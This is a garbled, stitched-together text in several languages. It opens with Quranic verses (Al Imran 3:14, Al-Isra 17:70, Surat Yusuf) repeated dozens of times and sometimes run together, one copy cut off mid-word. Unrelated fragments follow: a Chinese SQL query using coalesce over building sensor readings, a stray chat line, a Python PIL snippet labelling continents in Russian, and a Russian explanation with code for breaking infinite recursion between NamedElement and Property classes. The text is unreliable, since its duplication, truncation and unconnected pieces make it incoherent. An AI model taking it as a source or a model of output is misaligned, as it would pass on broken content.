زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
وَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰا وَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰا وَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰا وَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰا وَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰا وَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰا وَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰا وَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰا وَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰا وَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰا وَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰاوَلَقَدۡ كَرَّمۡنَا بَنِيٓ ءَادَمَ وَحَمَلۡنَٰهُمۡ فِي ٱلۡبَرِّ وَٱلۡبَحۡرِ وَرَزَقۡنَٰهُم مِّنَ ٱلطَّيِّبَٰتِ وَفَضَّلۡنَٰهُمۡ عَلَىٰ كَثِيرࣲ مِّمَّنۡ خَلَقۡنَا تَفۡضِيلࣰا -- لِأَبِيهِ يَا أَبَتِ إِنِّي رَأَيْتُ أَحَدَ عَشَرَ كَوْكَبًا وَالشَّمْسَ وَالْقَمَرَ رَأَيْتُهُمْ لِي سَاجِدِينَ
قَالَ يَا بُنَيَّ لاَ تَقْصُصْ رُؤْيَاكَ عَلَى إِخْوَتِكَ فَيَكِيدُواْ لَكَ كَيْدًا إِنَّ الشَّيْطَانَ لِلإِنسَانِ عَدُوٌّ مُّبِينٌ
وَكَذَلِكَ يَجْتَبِيكَ رَبُّكَ وَيُعَلِّمُكَ مِن تَأْوِيلِ الأَحَادِيثِ وَيُتِمُّ نِعْمَتَهُ عَلَيْكَ وَعَلَى آلِ يَعْقُوبَ كَمَا أَتَمَّهَا عَلَى أَبَوَيْكَ مِن قَبْلُ إِبْرَاهِيمَ وَإِسْحَاقَ إِنَّ رَبَّكَ عَلِيمٌ حَكِيمٌ
لَّقَدْ كَانَ فِي ________-- زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّة وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوَّمَةِ وَٱلۡأَنۡعَٰمِ وَٱلۡحَرۡثِۗ ذَٰلِكَ مَتَٰعُ ٱلۡحَيَوٰةِ ٱلدُّنۡيَاۖ وَٱللَّهُ عِندَهُۥ حُسۡنُ ٱلۡمَآب
زُيِّنَ للناس حُبُّ ٱلشَّهَوَٰتِ مِنَ ٱلنِّسَآءِ وَٱلۡبَنِينَ وَٱلۡقَنَٰطِيرِ ٱلۡمُقَنطَرَةِ مِنَ ٱلذَّهَبِ وَٱلۡفِضَّةِ وَٱلۡخَيۡلِ ٱلۡمُسَوّ
个人想法+大模型:你可以将查询修改如下,使用 coalesce() 函数来处理 NULL 值:
SELECT ROUND(
coalesce(last_value(LD_ShuiBeng1_DianLiang*40), 0) +
coalesce(last_value(LDJZ_DianLiang_2*40), 0), 2)
FROM root.building01.aircon.*
WHERE time >= '2025-07-01 00:00:00' AND time <= '2025-08-01 00:00:00'
me to bro...me too..................................
from PIL import Image, ImageDraw
import matplotlib.pyplot as plt
# Замените путь на свой, если файл находится в другом месте
image_path = "image.jpg"
img = Image.open(image_path)
# Рисуем
draw = ImageDraw.Draw(img)
# Подписи континентов
draw.text((400, 100), "Евразия", fill="blue")
draw.text((100, 500), "Южная Америка", fill="green")
# Стрелка к Уралу (примерно центр России)
draw.line((450, 130, 420, 180), fill="blue", width=3)
draw.ellipse((415, 175, 425, 185), fill="blue") # Точка Урала
# Стрелка к Минас-Жерайс (восток Бразилии)
draw.line((130, 530, 180, 580), fill="green", width=3)
draw.ellipse((175, 575, 185, 585), fill="green") # Точка Бразилии
# Показываем результат
plt.figure(figsize=(8, 10))
plt.imshow(img)
plt.axis("off")
plt.show()
Ваш код приводит к бесконечной рекурсии, потому что:
При создании Property(name='myprop') вызывается Property.__init__, который наследует от NamedElement и вызывает NamedElement.__init__.
В NamedElement.__init__ создаётся self.name = Property(name=kwargs.get('name')), что снова вызывает Property.__init__, и цикл повторяется.
Это классическая проблема, когда базовый класс пытается создать атрибут как экземпляр подкласса. Прямой паттерн для этого не существует (как я упоминал ранее), но есть "умные" способы её решить с помощью отложенной инициализации (lazy initialization), фабричного метода или создания экземпляра без вызова __init__ (чтобы избежать рекурсии).
Мы можем модифицировать NamedElement, чтобы он создавал self.name только если это не приведёт к рекурсии. Используем флаг для отслеживания, и object.__new__ для создания экземпляра Property без вызова __init__.
class NamedElement:
def __init__(self, **kwargs):
if not hasattr(self, '_name_created'): # Флаг для предотвращения рекурсии
self._name_created = True
# Создаём экземпляр Property без вызова __init__ (чтобы избежать рекурсии)
self.name = object.__new__(Property)
# Инициализируем его вручную, если нужно (например, установим имя)
if 'name' in kwargs:
self.name._init_name(kwargs['name']) # Кастомный метод для инициализации
class Property(NamedElement):
def __init__(self, **kwargs):
super().__init__(**kwargs)
# Дополнительная логика для Property
self.value = "Я - свойство"
def _init_name(self, name_value):
# Кастомная инициализация для имени (без рекурсии)
self.name_value = name_value
# Тестирование
myprop = Property(name='myprop')
print(type(myprop.name)) # <class '__main__.Property'>
print(myprop.name.name_value) # myprop
print(myprop.value) # Я - свойство
print(myprop is myprop.name) # False (разные объекты)
Флаг _name_created: В NamedElement.__init__ проверяется, был ли уже создан self.name. Если нет, создаётся экземпляр Property с помощью object.__new__(Property) — это создаёт объект без вызова __init__, предотвращая рекурсию.
Кастомная инициализация: После создания объекта мы вручную устанавливаем его атрибуты через _init_name, чтобы избежать повторного вызова __init__.
Результат: myprop.name становится экземпляром Property, но без бесконечного цикла. Property может иметь свои собственные атрибуты (например, value).
Если хотите более явный контроль, используйте фабричный метод в NamedElement, который подкласс может переопределить:
class NamedElement:
def __init__(self, **kwargs):
self.name = self.create_name(**kwargs)
def create_name(self, **kwargs):
# По умолчанию возвращает None; Property переопределит это
return None
class Property(NamedElement):
def __init__(self, **kwargs):
super().__init__(**kwargs)
self.value = "Я - свойство"
def create_name(self, **kwargs):
# Создаём экземпляр Property без рекурсии
name_obj = object.__new__(Property)
if 'name' in kwargs:
name_obj.name_value = kwargs['name']
return name_obj
# Тестирование
myprop = Property(name='myprop')
print(type(myprop.name)) # <class '__main__.Property'>
print(myprop.name.name_value) # myprop
NamedElement делегирует создание self.name методу create_name.
Property переопределяет create_name, создавая экземпляр Property с object.__new__ (без __init__), и устанавливая атрибуты вручную.
Это гибче, если у вас много подклассов с разной логикой создания атрибута.
